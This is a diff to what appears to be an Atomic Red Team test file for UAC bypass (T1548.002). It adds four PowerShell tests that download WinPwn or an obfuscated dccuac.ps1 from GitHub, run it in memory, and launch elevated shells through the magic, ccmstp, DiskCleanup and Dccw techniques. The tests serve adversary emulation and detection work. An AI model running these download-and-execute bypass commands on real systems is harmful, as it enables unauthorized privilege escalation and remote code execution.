diff --git a/atomics/T1548.002/T1548.002.yaml b/atomics/T1548.002/T1548.002.yaml index 42013339..77382dc5 100644 --- a/atomics/T1548.002/T1548.002.yaml +++ b/atomics/T1548.002/T1548.002.yaml @@ -556,3 +556,41 @@ atomic_tests: powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt +- name: WinPwn - UAC Magic + description: UAC bypass using Magic technique via function of WinPwn + supported_platforms: + - windows + executor: + command: |- + $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' + iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') + UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magic + name: powershell +- name: WinPwn - UAC Bypass ccmstp technique + description: UAC bypass using ccmstp technique via function of WinPwn + supported_platforms: + - windows + executor: + command: |- + $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' + iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') + UACBypass -noninteractive -command "C:\windows\system32\calc.exe" -technique ccmstp + name: powershell +- name: WinPwn - UAC Bypass DiskCleanup technique + description: UAC bypass using DiskCleanup technique via function of WinPwn + supported_platforms: + - windows + executor: + command: |- + $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' + iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') + UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique DiskCleanup + name: powershell +- name: WinPwn - UAC Bypass DccwBypassUAC technique + description: UAC Bypass DccwBypassUAC technique via function of WinPwn + supported_platforms: + - windows + executor: + command: |- + iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1') + name: powershell \ No newline at end of file